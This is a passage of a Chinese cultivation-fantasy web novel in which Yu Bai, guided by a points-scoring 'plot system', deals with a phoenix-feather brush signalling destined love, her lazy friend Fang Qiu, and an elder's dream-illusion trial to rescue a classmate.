“柳师兄你真好,我看你手上的灵笔都要秃噜了,我这里有一根凤凰木做的灵笔,你要是不嫌弃就拿去用吧。” 余白在芥子囊里翻翻找找,再从一堆各种昂贵灵材做的灵笔里找出一根赤红色的凤凰木做的灵笔递给柳韫。 “诺,新的。不光笔身是凤凰木做的,笔须子也是凤凰翎羽。听老祖宗说这是他早年间去灵山时候从一只凤凰幼崽身上薅的,挺稀有的。” 柳韫:“……” 能不稀有吗祖宗?凤凰!那可是凤凰! 连和凤凰沾了点边儿的白雉凤放眼整个修真界也就只有凤梧境这个秘境有,更别提灵族真凤了! 老虎的尾巴摸不得,凤凰的羽毛更是拔不得。 凤族性子极端,对认定的伴侣忠贞不二,在他们看来没有丧偶只有殉情,同样的他们要是恨上了你,哪怕掘地三尺也要把你找到,烧成灰烬。 也是余秋离强大无匹,不然谁活腻了敢去拔凤凰的毛。 “这根灵笔我用过,我一碰就烫手,之前不光把我的画纸给烧了,还把我头发给燎了,可怕得很。” 余白鼓着腮帮抱怨,随即开心对柳韫说道:“不过柳师兄修为那么高,应该不会出现我这样的问题。” 她向来什么都写在脸上,一副终于要甩掉烫手山芋的样子。 柳韫嘴角抽搐。 普通凤凰木可不会烫手,烫手的是凤凰的翎羽。 那只惨遭余秋离毒手的凤凰幼崽打不过他,便对余秋离下了诅咒,烙下了印记。 被凤族诅咒的人灵魂会时时刻刻受到真火灼烧,痛不欲生。但在绝对的实力面前这诅咒不痛不痒。 余白之所以会被烫到是因为她身上有余秋离的血脉,只是诅咒会随着一代一代开始衰弱,到她这里也就可以忽略不计了。 不然余秋离也不会放心把这玩意儿给她。 但对柳韫而言却还是致命的。 凤族喜洁,他可不敢随意碰触凤羽。 “不必了师妹,你上次就给了我不少灵纸,再说了这是余剑尊亲手给你做的灵笔,太贵重了,我无福消受。” 柳韫心下再不舍,也还是拒绝了。 余白大方是真,想把这根笔脱手也是真,自从这笔把她当成余秋离痛揍了一次后,她每天揣着它都提心吊胆的。 “柳师兄,老祖宗那边你不用担心。老祖宗给我的时候就说了,让我给这灵笔找个合眼缘的人送出去。我真觉得你很适合做它主人的,你就收下吧。” 她说到后面强买强卖起来,拿着灵笔就往柳韫手上塞,吓得柳韫一蹦三米远。 一时之间,他逃,她追,以云茯苓为中心上演了一出秦王绕柱走。 “够了!” 云茯苓忍无可忍,眼疾手快一人贴了一张定身符。 “师……唔?!” “啪!” 又一张禁言符贴了上去。 余白说不出话来了,只能一脸委屈盯着云茯苓。 定身符这种低等符箓对柳韫很轻松就解开了。 他用灵力冲开符箓,心有余悸看向余白:“余师妹啊余师妹,我真不知道该说你什么好,余剑尊家大业大,也不兴你这么败啊。还灵笔送给有缘人,你知道你老祖宗这话什么意思吗你就乱送?” “唔唔?” “你问什么意思?鸟求偶才会拔毛送羽,你把凤凰翎羽做的灵笔送给我你说什么意思?” 余白眼睛猛地睁大,想说话又说不出,憋得脸红脖子粗的。 云茯苓怕她憋死,扯下符箓,刚扯下余白就着急忙慌解释。 “我不是,我没有!我完全不知道有这回事!柳师兄我对你绝对不存在什么非分之想,你千万不要误会哇!” 她急得眼泪都要出来了,不,急是一方面,还有被灵笔烫到的原因。 33 第三十三章 剑修速度很快,余白生怕江厌星追上来,贴上极速符一路跑得火花带闪电的,等反应过来都快跑出练剑台了。 其实以少年的速度,她跑再快对方也能追上,她没看到人影只能说明他没有追。 余白松了口气的同时又有点失落。 这该死的书中世界,怎么一切都那么逼真?就连一个路人甲都跟真人似的。 危险解除,余白没忍住往后去看,对方还在原地,只是身边多了几个弟子。 他们似乎对少年很好奇,围着他叽叽喳喳说着什么,余白什么也听不到,却明显能够感觉到他情绪烦躁。 他修长的手指搭在第一流上点着,给人一种要是他们再烦他他就要拔剑的错觉。 先前没觉得有什么,如今这么对比来看,江小白脾气虽然不好,对她的确算温和了。 他应该真的把她当朋友了吧。 余白又想起了早上做的那个梦,感觉自己还真的挺像那种前脚才牵着人女孩子的手对她承诺要一辈子对她好,永远陪着她,后脚把人骗到手后又拔吊无情离开的渣男。 不不不,她怎么能算渣男呢?她要离开,他也要回家,这是双向奔赴的及时止损,并不是单方面的背刺和背叛。 余白最擅长自己安慰自己,把自己哄好后她又高兴起来了。 不为别的,今天早上起来虽说被噩梦吓醒的,但她却得以突破了。 原来齐昭说的睡一觉就突破的事情是真的。 尽管突破的不多,只是从练气初期突破到了中期,但对于资质平平到都跟五灵根差不多的余白来说,这已经是不小的进步了。 余白猜测这跟这段时间突飞猛进的积分有关。 系统说过打卡成就一共分为四个等级,路人甲,炮灰,配角,主角。 主角是不可能的,这本书早就有主角了。因此她最高的成就就是成为配角。 成就越高,修为也就越高。别人的修为靠先天天赋和后天的努力,余白靠的是打卡打卡再打卡。 只要获得足够的积分,就能在系统商场兑换各种东西,还能解锁技能。 现在解锁技能栏只出现了一个可解锁的技能,但相信以后能解锁的只会越来越多,到时不说成为像齐昭,江小白那样的天才,至少在危机重重的修真界苟命是没问题的。 想着美好的未来,余白心头火热。 点开积分查询,距离解锁第一个隐藏技能还差一点。 除却十二点走剧情从齐昭身上得到的,剩下的都是从江小白这个代餐薅的,其中不光是有他代走剧情的名场面,还有她灵感爆发给他画的好几张单人图,在得知这也有效后余白也都一并给提交了。 这才让积分一下子到了二十九点。 余白又惆怅了。 “要是江小白是主角就好了。” 跟着齐昭一年累死累活打卡,还不如江小白几天搞到的积分多呢。 意外的是这次毒唯系统没有暴跳如雷反驳她,它安静得出奇。 在余白以为它是在休眠的时候,系统出声道:【……我有个想法。】 【既然江小白能当齐昭的代餐赚积分,那么同理,是不是也可以找人当女主的代餐?】 大量剧情无法打卡,最主要的就是齐昭太不解风情了,和女主的互动几乎为零。 大男主文一半靠装叉打脸,一半靠广开后宫,齐昭这样一半的剧情都走不了。 余白听后眼睛一亮,有道理诶! 找一个女主代餐,然后撮合她和江小白,这样互动剧情不就有了吗? 当然,这得双方都有意才行,她可不做那种强行撮合别人的讨嫌事。 找到让江小白心动的女修应该不难,天极宗什么都不缺就是不缺美女,难就难在后者估计不大可能会喜欢上江小白这种大隐隐于市——简称大众脸的类型。 不过也不能太绝对了,江小白虽然长相普通了点,但人有实力啊,小小年纪就步入金丹,放眼整个修真界那也是凤毛麟角的。 而且脸什么的能改变,就一颗易容丹的事,实力可改变不了。 人都慕强,这么看来江小白还是挺有优势的。 余白越发觉得有搞头,和系统凑在一起窸窸窣窣商量起来。 【你觉得咱们宗门谁合适?雪师姐不以貌取人,两个人培养下没准能成。风琅玉也可以考虑下,走相爱相杀路线,昨天那个剧情走得太爽了,一下子拉了好大一截儿进度条。云师姐的话……】 【这几个听上去都还不错,可你忽略了一点,江小白和其他人不一样,他是个天缺,气运很差的。别人动主角的女人都没什么好下场,更何况是他?况且我们找的是女主代餐,你怎么列举的都是男主后宫团的?】 余白一愣:【对哦,得找不是女主的。】 她皱着眉头,思考了很久,把宗门上下的女弟子都想了个遍,还是没头绪。 系统暗示:【也不用太漂亮,江小白是路人甲,你也找个路人甲不就行了?】 余白懵懵懂懂,总觉得系统话里有话。 【你是不是心里有人选了?】 系统心虚道:【算是有个不成熟的提议吧。】 【谁?】 【咳咳,那个,远在天边,近在眼前。】 余白:?! 【我?!你是不是有病?你把我和江小白拉郎配!我现在疯狂在远离他,你倒好,还把我往人那里推!】 【可是你不是也说希望他是主角吗!之前把他当走剧情的工具人的不也是你吗?你不想自己难受就让人难受远离对方,甜头尝到了你也应该付出点什么吧,天下哪有白吃的午餐?我不管,你现在就去和他和好,告诉他你心里有他,原文中不是有一段齐昭因为立场问题和魔女断了联系,之后又不忍心找她复合吗?就这段,你就当这段这么演!】 【……】 服了,她还没同意呢,戏都给她排上了。 余白不说话,系统继续乘胜追击。 【你既然都不想和他继续当朋友了,伤害朋友的事情你做不到,伤害男人的事情你顺手就做了怎么了?不会吧不会吧,你不会是在心疼男人吧。心疼男人可是不幸的开端,你不会也是网上说的那种恋爱脑吧。】 系统各种阴阳怪气激她,余白充耳不闻。 以前她只觉得这个系统饭圈,搞毒唯拉踩那一套,现在她发现它还没下限。 她再想要积分也不会去做欺骗人感情的事情,这和男女无关。 辜负真心超没品的好吧。 打住打住,怎么搞得好像自己多有魅力,随便勾勾手指就能把江小白拿下似的。 余白为自己的自恋有点脸红,芥子囊这时候突然烫了下。 是那根灵笔。 奇怪,这笔虽然脾气大,可只有在她碰触的时候才会烫她,这样无端躁动还是头一回。 她戴上天蚕冰丝做的手套,小心翼翼取出灵笔查看。 赤红的笔身出现了一点金纹,像羽毛的形状。 “哟,这是化羽了啊。” 一道懒洋洋的声音从头顶传来。 树上的少女头枕着胳膊,好看的五官上没有一点修饰,乌润的眼睛还带着点儿雾气,一副刚睡醒的样子。 “方遒!你什么时候回来的?” 方遒打了个哈欠,轻盈如燕跳下。 余白已经算是比较不会梳头的了,眼前的少女比她还要随意。 拿着一根不知在哪里摘的树枝当发钗束发,上面的树叶甚至还带着露水,而且嘴里还叼了根草叶。 她拍了拍身上的灰尘,回答道:“和你前后脚回来的,你前脚刚被雷劈我后脚也做完任务回来了。” 余白一愣:“那这么说我去昆吾峰的时候你就在了?那你怎么不出来跟我打招呼,害的我以为你还跟着你师尊在外云游呢。” 余白在宗门人缘好,但朋友却不多,方遒算一个,也是少有的对她没有任何利益算计,最单纯因为她这个人对她胃口同她交好的。 因为她们两个都摆烂,方遒摆,她烂。 昆吾峰后继无人,年轻一辈中能当大任的就只有两个,一是肖扶山,二便是方遒。 甚至后者的天赋还要在前者之上。 方遒是不仅是单系火灵根,还是先天器体,这个体质能让她和灵器建立感应,无论是自己的灵器还是他人的灵器。 只要不是本命灵器,她都可以将其掠夺,收为己用。 同时她还能以身体做熔炉炼化灵器,而经由她灵体炼化的灵器会生出器灵。 余白在得知自家小姐妹这么厉害的时候,曾经拿着灵材和报酬求她帮她炼制把有剑灵的剑,就像第一流那样载着她飞来飞去还不会让她掉下来的那种剑。 但方遒拒绝了。 原因无他,懒。 她自己懒就算了,还教育她说什么年轻人不要总想着偷懒。 方遒也偷懒,可她照样每次考核都名列前茅,修行速度还只增不减。 不过只是懒一点怕麻烦一点也就算了,关键是方遒对修道完全不感兴趣。 她最大的梦想就是混吃等死,一百年她活着都嫌久了,入道等死不知道等到猴年马月了。 她等不起,因此在她师尊奉藏找上她的时候拒绝了跟随他入道修行。 奉藏也不勉强,一来是强扭的瓜不甜,二来是对方命中和他有师徒缘,拜他为师是早晚的事。 于是奉藏便回去了。 三年后,他又回去找上了方遒。 这次方遒答应了,不过要求是让奉藏为大旱到颗粒无收的村子引来水源。 本以为这徒弟收下了就万事大吉了,谁曾想这对于奉藏来说只是头疼的开端。 方遒天赋好是好,可所有的天赋都用到了躲懒上。 炼制隐匿身形的法器偷跑下山,做傀儡代替她上课,就连闭关修行的时候也能挖出个洞遁逃。 这让奉藏一身衣钵如何传承? 奉藏只得把人随时带在身边,时刻督促着她修行。 “因为我压根就没云游结束啊,我趁着老头子没注意偷跑回来的。” “?!你疯了!你不怕奉藏长老回来惩戒你?上次你为了躲懒藏到合欢宗,奉藏长老大发雷霆把你关进冰湖里的事情你这么快好了伤疤忘了疼了?” 对于火灵根修者,没什么惩罚比关在冰湖这样森寒之地还要折磨人的了。 方遒也心有余悸,搓了搓胳膊上起的鸡皮疙瘩。 “上次他生气不是因为我躲懒,是我在合欢宗有点乐不思蜀了。” 说起这个她来了精神,没了先前的惫懒,语气兴奋:“你是不知道合欢宗里的男修有多漂亮,不光如此身上还香香的,他们都会很喜欢我,其中有一个对我尤其好,给我洗手作羹汤,说要是我喜欢可以照顾我一辈子,我什么都不用干。这换作是你你不心动?” 随即方遒情绪低迷了下来,干巴巴道:“我师尊那儿有我的命灯,看到我命灯有异乱了道心,抡起锤子就来合欢宗棒打鸳鸯了。” 余白:“……” 她就说嘛,方遒躲懒又不是一两天了,偏那回那么大动肝火。 这徒弟都要被外头黄毛给骗走了,能不急吗? 不过看方遒这样子与其说是在为奉藏拆散他们而伤心,不如说是因为失去了衣来伸手饭来张口的神仙日子而难过。 余白有点同情那个合欢宗的男修了。 她们闲聊了几句,余白这才想起她之前说的话—— “你刚说的化羽是什么意思?” “就是展羽的意思。凤族的雄性会在求偶的时候展羽,用美丽的羽毛吸引雌性。你这根灵笔用的翎羽就是雄性的羽毛。” 余白听得云里雾里:“所以你是说这个突然冒出来的金色纹路就是它在展羽,可它为什么展羽?总不能是向我求偶吧?” 方遒左右晃了晃手指:“非也。这是显示你的道缘出现了的意思。” “?!道缘!” 道缘指的是命中注定的情缘,余白瞳孔地震。 她又不是这个世界的人,怎么可能拥有道缘呢?不,应该是怎么能拥有道缘呢! 人鬼殊途,人纸亦殊途啊! 余白难以置信:“你会不会搞错了?你再仔细看看?没准只是我老祖宗随手加上去的一道灵纹而已。” 方遒被质疑有点不高兴了。 别人可能会认错,她可是先天器体,她怎么可能看错灵器? 不过为了让余白放心还是又看了一遍,笃定道:“保真。” “怎么会……” “有什么会不会的?除了灵禅宗那些六根清净的佛修,谁都会有道缘。你老祖宗给你这根灵笔的时候没同你说这是用来认道缘的灵器吗?” 余白想说没有,可仔细回想发现老祖宗似乎不是没说,而是单纯说的委婉。 他顾及她女儿家脸皮薄,就隐晦告诉她把这个送给有缘之人,但余白完全没get到他的意思。 方遒又给她讲解:“化羽一般有九片,显露一根翎羽的时候是你的道缘出现了,等到九片完全展开成一面羽扇图样的话……” 余白咽了咽口水:“会怎么样?” “说明你情根深种,坠入爱河啦,哈哈。” 34 第三十四章 方遒取笑了余白好一会儿,直到她恼羞成怒拿灵笔去烫她她才见好就收。 余秋离修为高,年岁也长,天人合一境修士的寿数可以说一眼就望到了头,她父母早逝,身边除却他再没有至亲血脉,她自己资质又差到如何喂灵药灵丹都没法改善,因此他一直都想给她找一个值得托付终生的人。 他的这个想法早在齐昭入宗门的时候就初见端倪了。 他当时入梦来,问她觉得齐昭如何?若是心怡对方,即使他与她无缘,他也可以逆天为她改一改姻缘。 别的修者做这种逆天改命的事情必定遭受反噬毙命,可对于天人合一境的余秋离还在承受范围内。 余白吓坏了,她一个路人甲哪里敢打男主的主意,嫌活得不够吗? 她解释她只是单纯觉得齐昭很厉害,把他当兄长而已。 余秋离这才作罢,然后给了她这根灵笔。 余白有些恍惚,恍惚自己一个二十一世纪的现代人在书中世界竟然还有道缘。 等等,现在问题不是有道缘,而是道缘出现了! 也就是说天极宗有她的道缘! 是谁?该不会是柳韫吧!毕竟刚才她接触到的男修就他一人。 柳韫虽然很帅,但完全不是她喜欢的类型啊,还是说她日后的审美会改变? “别想了,道缘道缘,缘这种东西随缘就好。缘起缘灭,世事无常,你光纠结没用,随心就好。” 方遒伸手去揽她的肩膀,宽慰道:“与其想男人,不若想想一会儿咱们吃什么?我走后膳堂出了什么新菜品,有推荐的不?” 余白没她那么心大,根本听不进她的话,闹心里全是柳韫,道缘之类的。 “你说有没有可能我的道缘不是男的,而是女的?比如云师姐……” “?你胃口挺重,云茯苓你都能接受。” 余白不说话了。 她自闭了。 昨天才打算快刀斩乱麻斩断所有羁绊,结果今天就给她搞出一个道缘来。 玩她呢。 余白一直郁闷到晨练结束,踩着仙鹤跟着大部队去了学宫。 意外的是方遒竟然破天荒没有开溜,也跟来了。 许是她眼里的惊讶太明显,方遒吐掉嘴里的草叶,说道:“我本来是想开溜的,结果被鸣人啄回来了。” 她揉了揉屁股,嘶了声。 “你是不是在我不在的时候又贿赂了它灵虫了,我怎么觉得它那嘴上功夫见涨了呢。” 余白心虚道:“也就有次实在太困起不来,让它宽容我再赖会儿床的时候扔了一两条而已,没给太多。” 方遒也没计较,扫了周围一圈。 “是我的错觉吗,今日去学宫的弟子怎么那么多?考核日吗?” “不是,今日有重明长老的课。” 重明是宗门四大执剑长老之一,也是修为最高的。 如果说余白是天极宗的善财童子,那么重明就是财神爷。 当然,真要比的话老祖宗的宝库自然完胜,只是很多她修为有限取不出也用不了,况且她大方归大方,但可不会随意把贵重的送人。 因此他们能在余白这里薅到的都是些中低品丹药和价值一般的东西。 可重明那里就不一样了,他拿出来的要么珍贵要么稀有,要么稀有又珍贵。 上一次有个弟子通过了他的试炼,他大手一挥就给了对方一件金蝉衣,遇到危机时刻可用其金蝉脱壳,逃出生天,当时可把大伙儿馋坏了。 尤其是方遒,要是她得到了那件金蝉衣,从她师尊手中逃脱的几率会大大提升,所以后来她谁的课都逃,就是不逃重明的。 不过重明的东西可不好拿,饶是天才如方遒,蹲了快一年了也没从他手上拿到过一件灵宝。 方遒听到有重明的课,又是高兴又是惆怅。 “哎,我刚才看到几个体修和剑修师兄也在,这次恐怕又没戏了。” 她眼珠子一转,凑上去商量道:“要不咱们请外援吧,你去把齐师兄叫来帮我们如何?” 余白白了她一眼:“人出力你拿东西,你想得倒美。再说了他伤还没好全呢,来不了。” 方遒这才歇了心思。 到了学宫后余白原本想随便找个位置就坐,结果重明的课实在太受欢迎了,导致里面座无虚席。 余白正想拉方遒去外面回廊站着听,结果扭头一看,对方一个翻身马喽上树,上去后还拍了拍旁边位置,示意她过去。 余白:“……” 不想社死的她表示婉拒了。 和其他人冲着重明的灵宝来的不同,余白是单纯来打卡名场面的。 虽说她绑定的是主角名场面打卡系统,但也有一部分配角戏份是需要她来打卡的。 这些配角一般都是人气角色,比如她老祖宗,齐昭的师尊,还有重明。 他们,还有远在天池清修的谢斩,这四人都有一个共同的特点,那就是他们都是天命者。 每一个都有各自特殊的天赋,但由于他们已经是修真界金字塔顶层水准的大能了,能让他们使出天赋的人少之又少。 没错,余白要打卡的名场面就是重明开大。 原剧情里齐昭并没有受那么严重的伤,也来了学宫。 有个弟子通过了重明的试炼却没有要他的灵宝,而是提出了希望能看看他的特殊空间能力——醉梦游仙。 因此即使今日齐昭没有出场,她也能打卡。 她还是头一次打卡配角的名场面呢,不知道积分能有多少,不过即使只有一点积分她也能解锁隐藏技能了。 美滋滋。 余白揉了揉站着发酸的腿,重明的课时长感人,快的话一两个时辰,慢的话可能要一整日,甚至更久。 这取决于两点,一是重明试炼的难度,二是来听课的学宫弟子的水平。 要是遇到如齐昭,司徒苍这样的天才,可能要不了多久就能结束…… 余白环顾四周,发现今日可能要站很长时间了。 也不是说方遒就比齐昭他们水准差多少,主要是修为摆在那里,加上她总是消极修炼,入宗门都三年了,还在筑基中期。 而且重明的能力醉梦游仙,那可是可以将虚幻变成现实,把人心欲望无限放大的能力,其他人道心坚固,还能对不良诱惑说不,方遒只会大喊“摩多摩多”。 余白摇了摇头,收回视线的时候一双漆黑的眼瞳和她撞了个正着。 她先前光注意起方遒了,完全没有注意到自己站着的位置前面就是江厌星。 只是他不是站着的,而是坐着的。 果然剑修的速度就是快,明明先前她过来的时候远远瞧见他还在练剑台,结果竟然比她到的还早,还占到了位置。 而且,还是两个位置。 江厌星占的是靠窗最后排,他坐里面,第一流则被他放到旁边座位上。 不是,知道剑修把剑当老婆,但给剑单独占位会不会有点太夸张了? 还有,对面那个师兄你盯着第一流一副若有所思的样子是怎么回事?别以为我看不出你脸上写的“我下次也要给我的剑占位置”的想法! 本来位置就不多,你们这群剑修别太过分了! 余白气呼呼地瞪了江厌星一眼,谴责他这种霸道的行为。 江厌星默默看着她好一会儿,然后将第一流从位置上拿开。 他拍了拍旁边位置。 余白一愣。 江厌星看她没反应过来,抿着嘴唇,惜字如金说了个“坐。” 要是其他人余白可能还会误以为这话是对别人说的,但这里对方只认识自己。 余白耳根一下子热了起来,臊的。 她那么避着他,他不仅没有生气还给她腾位置,这让余白心里很不是滋味。 余白干巴巴道:“不用了,我站着就好。” 话音刚落,江厌星突然站了起来。 “我也想站一会儿。” 余白一噎,也知道对方不是真的想站,而是想陪她,或者是在赌气。 江厌星嘴上说着站着,实际是靠着。 第一流十分有灵性飞到他后面给他靠,他压根就用不上什么力,一派轻松,反倒是余白,要是不坐就真的得站到腿脚酸麻打颤了。 余白忙改口:“我突然不想站了,我们坐着吧。” 江厌星起身的时候就有人往这边来了,她一个箭步上前抢先坐了上去,又拽着少年,在被人占位之前把人给强行摁了回来。 江厌星垂眼看她拽着胳膊的手,在她要抽回之前反手抓住了她的手腕。 “?!” 余白吓得差点尖叫出声。 “你干什么!” 江厌星没用什么力,可她却如何也挣不开。 他道:“为什么突然不理我了?” 余白没想到他会直接问出口,完全不知道该怎么回答。 “我,我没有。” 江厌星冷笑了声,余白更心虚了。 “让我猜猜,是因为我说我要回家你不开心了?因为我要离开所以你觉得与其日后分开难受不如现在及时止损,当断则断,我说的对不对?” 余白神情全是难以置信,有那么一瞬间她怀疑自己不小心把心里话说出来了,或者是脸上有字被他看到了。 她努力保持镇定,转动着眼珠子正思考如何应对,江厌星松开了她的手。 少年长长的睫毛垂下,让人看不清眸里的情绪。 “算了,无论什么原因总归是不待见我,我走便是了。” 他再次起身,余白又下意识拉住了他。 这一次不是拽着胳膊,而是抓住了他的手。 两人都愣住了。 “我,我不是故意的,啊,都怪你,这是你的位置该走也是我走,不过你既然让我坐了我也可以坐……” 不是,她在胡言乱语什么啊。 余白被自己蠢到了,自暴自弃地抓了把头发。 “哎呀,总之我没有不待见你,你就坐吧!” 江厌星本身就没想着真走,见她果然心软了,很轻勾了下唇角,在她看来的时候又装作眉眼低落的样子。 这搞得余白更愧疚了。 她一愧疚就想给人送东西,但她忍住了。 【宿主。】 【干什么?我现在心情不好别和我说话。】 【成功了。】 系统没头没尾来了这么一句。 【?什么成功了?】 系统语气难掩激动:【我刚才拍了你们的牵手照传上去了,主系统那边判定成功,给了我们一点积分!】?! woc,真可以啊?! 余白生怕系统是为了诓她接受当女主代餐的使出的诡计,打开系统面板去查看,结果积分真的涨了一点! 她难以置信地揉了揉眼睛。 竟然是真的,这也太荒谬了吧。 系统趁热打铁,循循善诱:【宿主,曾经有一个可以改变命运的机会摆在你面前你不知道珍惜,现在失去了才追悔莫及。但是幸运的是你还有重新来过的机会,你只需要再次抓住江小白的手,对他说一句你愿意!】 余白:【……系统你变了,你还记得你主角毒唯的身份吗?以前但凡有谁抢一点主角的戏份你就会破口大骂的,现在你不光接受了江小白当主角代餐,还想推我上去和他互动走剧情。剧情他走了,感情我走了,你要置齐昭这个主角于何地?】 【我不管,黑猫白猫能抓住耗子的才是好猫。我虽然是个主角党,但是齐昭不给力了,照他这个速度,我们何年何月才能完成任务?是你让我先尝到甜头,提议他当代餐的,现在我陷进去的,你想脱身?没门!】 入俭入奢易,由奢入俭难。系统现在就是这样一个心理。 诚然,余白同样如此。 可饶是她再心动也还是做不出欺骗人感情的事情,这是原则问题。 觉察到了少女的动摇,系统道:【其实你想太多了,互动又不是非得谈恋爱,朋友之间的互动也叫感情互动啊。我们需要打卡的剧情也很清水,顶多就是亲亲抱抱举高高,毕竟这里可是绿唧唧!】 如果只是朋友程度的互动的话,似乎也不是不可以…… 不对,差点被系统给绕进去了。 重点是朋友不朋友吗?无论朋友还是道侣都是很深的羁绊,到时候她把人利用完拍拍屁股走人了,江小白还是会很难受啊。 【到时候我可以帮你清除他的记忆。】 35 第三十五章 重明的醉梦游仙是先天的天赋,只是在后面步入离光境才觉醒的。 这个能力能让生者离魂,死者聚灵,永远沉溺在醉生梦死的梦魇里,不知此去经年。 这有点像永生,但本质上是下十八层地狱,还是净土极乐,全在重明的一念之间。 因此对于穷凶极恶者,无论是生是死,只要中了醉梦游仙,都会生不如死。 这也是为什么重明会掌管戒律堂。 “我可以让你的神魂进入周然的梦魇里,这便是生者离魂。” 这和出窍不一样,后者只能短暂离开身体,即使是修为强大于余秋离最多也只能一年,而重明的离魂是将人置身于醉梦游仙的虚无境界里,若他想,永生永世囚禁对方也未尝不可。 且在里面的人根本分不清虚假和真实,会慢慢被同化,成为一具行尸走肉。 江厌星没想过帮这个叫周然的解除梦魇,只是余白想看那个什么醉梦游仙他才站出来出这个风头的。 他压着眉,正想回绝,瞥见余白的眼睛一下子亮了。 哦哦哦,是重要副本梦浮生! 原剧情里这个副本的开启就是源于周然,当时周然也是昏迷不醒,作为好友的齐昭在长白峰也束手无策后找到了重明,请求他引他的神魂入梦魇去救周然。 虽然这个剧情提前了,但问题不大! 主角不在,主角代餐在呀。 “你想去?” “想啊。” 余白没多想便脱口而出。 江厌星:“那便去吧。” “重明长老,我能带上她一块儿吗?她也想见识下你的醉梦游仙。” 就这么水灵灵地提出来了? 余白有些懵。 重明挑了挑眉,目光在两人身上游走了一圈,随即露出了一个意味不明的微笑。 “可以。” 他又扫了一眼周遭,说道:“你们呢,可也想入这梦魇,救你们同门于水火?” 众人面面相觑,显然没想到他们也能进去。 重明道:“使用一次醉梦游仙很费力的,只让一两个人进去太大题小做了,你们一块儿进去才算物尽其用。” 要让一个人的神识进入旁人的梦魇不被排斥出去或是反噬已经很困难了,这里少说也有三四十人,可见重明的修为,尤其是神识的强大。 这不又变成了试炼了吗? 歪掉的剧情又重新给掰回来了。 这让余白松了口气,总归是能正常打卡了。 其他弟子也很兴奋,神情跃跃欲试。 唯有方遒略显踌躇。 余白注意到了:“你不想去?” 方遒:“想去倒是想去,但感觉好麻烦,而且也不给点什么奖励之类的……” 余白鼓了鼓腮帮,少有的对好友生气了。 “咱们是去救周师兄,同门之间互帮互助要什么奖励?难不成之后我要是也被歹人抓走,你来救我也要索求报酬吗?” 方遒弱弱道:“我不是那个意思,我就是单纯懒,没东西吊着我没动力嘛。况且我们不去重明长老也不会袖手旁观,他心血来潮把这当成了给我们的试炼,给点奖励不是应该的吗?” “谁说没有奖励的?” 两人说话已经够小声了,重明还是听到了。 他身后凭空出现了一道裂缝,一件薄如蝉翼,流光溢彩的鲛纱自缝隙中而出。 “这件鲛纱是北海鲛人用头发混着穹光月华编织而成的,穿上后刀枪不入,百毒不侵,还有治疗的效果。” 重明似笑非笑看着方遒:“方遒,以你师尊的能力哪怕你穿上了上次那件金蝉衣,脱壳无数次他也能把你抓回来,可穿上这件鲛纱就不一定了,你或许逃不掉,但他至少打不死你。你说是吧?” 方遒的懒惰在整个宗门都是出了名的,除了新入门的弟子,这里的弟子基本都看到过奉苍长老追着她满宗门打的场面。 众人一开始只是憋笑,后面不知是谁没忍住笑出了声,随即便是哄堂大笑。 方遒脸一下子红到了脖子根,很想要有骨气的回答自己不稀罕这种东西,但他看人真准,她的确需要。 尤其是这回她被老头子给带去灵禅宗苦修,她受不了每天淡出鸟的素斋,也受不了佛修每天在她耳边念经,更受不了把她关进佛塔让她戒色戒欲,稳固道心。 她每冒出一点旖旎念头,佛塔就会压她五六个时辰,千钧重负,哪怕先天器体的她也扛不住那样的摧残。 那地方压根就不是人能待的! 于是方遒装死把老头子骗进来关进佛塔,自己跑路了。 可想而知老头子回来后她的下场会有多惨烈。 这件鲛纱真是瞌睡来了送枕头。 “我去,不过我不是为了这什么劳什子鲛纱,我就是单纯出于同门情谊,想要帮周师兄一把。” 方遒一边说着一边看着面如死灰的周然唏嘘:“周师兄,早知今日何必当初呢,若是当初来我们昆吾峰,我们肯定会拼了命保护你,不会让你落到如此境地。” “方师妹,你这话就有失偏颇了,苍灵峰的弟子身体素质虽不比你们器修,但绝不是临到紧要关头,舍弃同门保命之辈,你莫要因为沈师弟得罪过你你就对整个苍灵峰的弟子都有偏见。” 方遒白了那个说话弟子一眼,抱着手臂道:“我有偏见怎么了?沈琢那家伙不讲武德使阴招,敢做还不让人说了?” 江厌星问余白:“沈琢又是谁?” 余白悄声道:“苍灵峰的一个弟子,和风琅玉一样出自世家大族,同方遒有点过节,每次方遒遛出宗门基本都是他告的密,所以方遒特别讨厌他。” 说是有点过节那是委婉说法,两人之间虽不至于深仇大恨,也属于相看两厌的程度。 方遒天赋好,当初入宗门的时候第一次对练就抽到了沈琢。 后者轻敌被方遒逮到了破绽,眼看着就要赢了,沈琢动用了隐身阵,对,就是玄霄捣鼓的那个只隐去人衣物的法阵,不过沈琢对这个法阵进行了改良,隐去的不是衣物而是方遒的头发。 方遒在众目睽睽下成了个光头,丢尽了脸不说,后头还因为太生气而乱了阵脚,被对方反败为胜。 后头方遒自然也报复回来了,把人套上麻袋狠揍了一顿,器修力气大,把人揍成了猪头,好几天才能出来见人。 自此两人这梁子算是彻底结下了。 “前段时间守株待兔绑我们的也是他。” 江厌星只关心一点:“他有没有对你动手?” 余白当时还好,用的普通绳子,因为她是个废物点心,对他们构不成什么威胁。对方遒用的是捆仙绳,把她绑成了粽子,呼吸都呼吸不上来,等到试炼结束,三天后才给松绑。 她心下一暖,弯着眼睛笑:“没呢,虽然我被困在法阵不能出来,但临走前他给我准备了好吃的灵果和糕点,除了活动范围有点小之外,我那三天吃饱喝足,过得别提多惬意了。” 沈琢这人是有点少爷脾气,这很正常,世家大族的通病,但对事不对人,并没有因为她是方遒的好友而迁怒过她。 重明的试炼难度不小,生死不论,因此通常采取自愿原则,而非强制。 之前都是开的秘境,这回是在虚无境界中,弟子们比之前要积极不少。 然而他们把这次试炼想得太简单了。 重明的醉梦游仙不仅属于空间术法,也属于顶级幻术,幻术的最高境界就是混淆真实和虚假。不是梦魇就等于一切都是假的,正是因为是梦魇才容易迷失,真真假假,假假真真,这才是最可怕的。 饶是手拿剧本的余白也对这次副本打卡有点紧张。 重明道:“现在后悔还来得及,不然你要是在里面有什么三长两短,我可不好跟你老祖宗交代。” 余白被他这么阴阳怪气的话搞得反而不紧张了,心里生出一股豪气,一把走上前,站在江厌星旁边。 “我才不后悔。” 重明又看了眼江厌星,后者莫名,以为他是在暗示他保护好余白。 他微微颔首:“我会护她周全。” 重明听后露出一副牙酸的表情。 现在的少年人还真是,肉麻话张口就来,也不知道害臊。 这次试炼所有人都参加了,大家围在周然身边。 “看着我的眼睛。” 重明的声音传到众人耳畔,好像很近,又好像飘渺如烟。 他们不受控制看向青年的眼睛,在对上视线的瞬间,天地倒悬,空间扭曲。 萦绕的白雾浓重得可以吞噬一切,连同人的五感。 